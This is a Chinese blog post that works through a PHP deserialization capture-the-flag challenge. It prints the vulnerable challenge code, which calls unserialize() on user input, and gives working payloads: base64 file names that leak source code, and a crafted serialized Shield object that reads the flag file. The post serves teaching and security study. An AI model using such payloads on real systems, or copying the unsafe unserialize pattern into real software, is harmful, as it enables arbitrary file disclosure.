zoukankan      html  css  js  c++  java
  • PHP代码审计分段讲解(10)

    26 unserialize()序列化

    <!-- 题目:http://web.jarvisoj.com:32768 -->
    
    <!-- index.php -->
    <?php 
    	require_once('shield.php');
    	$x = new Shield();
    	isset($_GET['class']) && $g = $_GET['class'];
    	if (!empty($g)) {
    		$x = unserialize($g);
    	}
    	echo $x->readfile();
    ?>
    <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
    
    <!-- shield.php -->
    
    <?php
    	//flag is in pctf.php
    	class Shield {
    		public $file;
    		function __construct($filename = '') {
    			$this -> file = $filename;
    		}
    		
    		function readfile() {
    			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
    			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
    				return @file_get_contents($this->file);
    			}
    		}
    	}
    ?>
    
    <!-- showimg.php -->
    <?php
    	$f = $_GET['img'];
    	if (!empty($f)) {
    		$f = base64_decode($f);
    		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\')===FALSE
    		//stripos — 查找字符串首次出现的位置(不区分大小写)
    		&& stripos($f,'pctf')===FALSE) {
    			readfile($f);
    		} else {
    			echo "File not found!";
    		}
    	}
    ?>

    这道题目是PHP反序列的题目,比较基础。

    在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。

    列举常见方法

    __construct()//创建对象时触发
    __destruct() //对象被销毁时触发
    __call() //在对象上下文中调用不可访问的方法时触发
    __callStatic() //在静态上下文中调用不可访问的方法时触发
    __get() //用于从不可访问的属性读取数据
    __set() //用于将数据写入不可访问的属性
    __isset() //在不可访问的属性上调用isset()或empty()触发
    __unset() //在不可访问的属性上使用unset()时触发
    __invoke() //当脚本尝试将对象调用为函数时触发

    这道题目只用到了__construct()方法,该方法是在创建对象时触发

    简单了解了基础知识之后我们来看题目,代码中给出的环境还能够访问:http://web.jarvisoj.com:32768,我们也可以通过代码推断出原来的环境。

     

     查看网页源代码:

    <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
    

      猜测是base64编码,解码得到:

     获取index.php的源代码,payload为:

    http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
    

      查看源代码

    <?php 
    	require_once('shield.php');
    	$x = new Shield();
    	isset($_GET['class']) && $g = $_GET['class'];
    	if (!empty($g)) {
    		$x = unserialize($g);
    	}
    	echo $x->readfile();
    ?>
    <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
    

      可以看到包含了shield.php,继续查看shield.php的源代码 payload为:

    http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

    <?php
    	//flag is in pctf.php
    	class Shield {
    		public $file;
    		function __construct($filename = '') {
    			$this -> file = $filename;
    		}
    		
    		function readfile() {
    			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
    			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
    				return @file_get_contents($this->file);
    			}
    		}
    	}
    ?>
    

     再包含一下showimg.php :

    http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

    可以看到,showimg.php可以直接包含base64解密后的文件,同时虽然shield.php在里面说明了 flag is in pctf.php,但是showimg.php里面表示了,是无法直接包含pctf文件的,以及进行了目录穿越的禁止。

    回到index.php

    里面关键点在于:

      $x = unserialize($g);
    }
    echo $x->readfile();
    

      在这里对$g进行了反序列化,然后输出了对象$x的readfile()方法的结果

    而$g是在这里进行赋值:

    isset($_GET['class']) && $g = $_GET['class'];
    

      是我们可以控制的。

    再继续看shield.php中的Shield类,也就是我们序列化和反序列化的对象

      class Shield {
    		public $file;
    		function __construct($filename = '') {
    			$this -> file = $filename;
    		}
    		
    		function readfile() {
    			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
    			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
    				return @file_get_contents($this->file);
    			}
    		}
    	}
    

      根据类进行PHP在线环境进行反向构造即可

     即反序列化后直接使用readfile()方法读取任意文件,这里我们读取pctf.php

    payload为:

    http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
    

      查看源代码为:

     获得flag,是一道很基础的PHP反序列化题目

     

  • 相关阅读:

    入门动态规划问题
    AC自动机
    KMP算法
    [OpenGL]用鼠标拖拽图形移动
    HDU-2222 Keywords Search
    Trie
    Manacher算法
    linux环境搭建
    Android Studio使用JNI和NDK进行开发
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13304156.html
Copyright © 2011-2022 走看看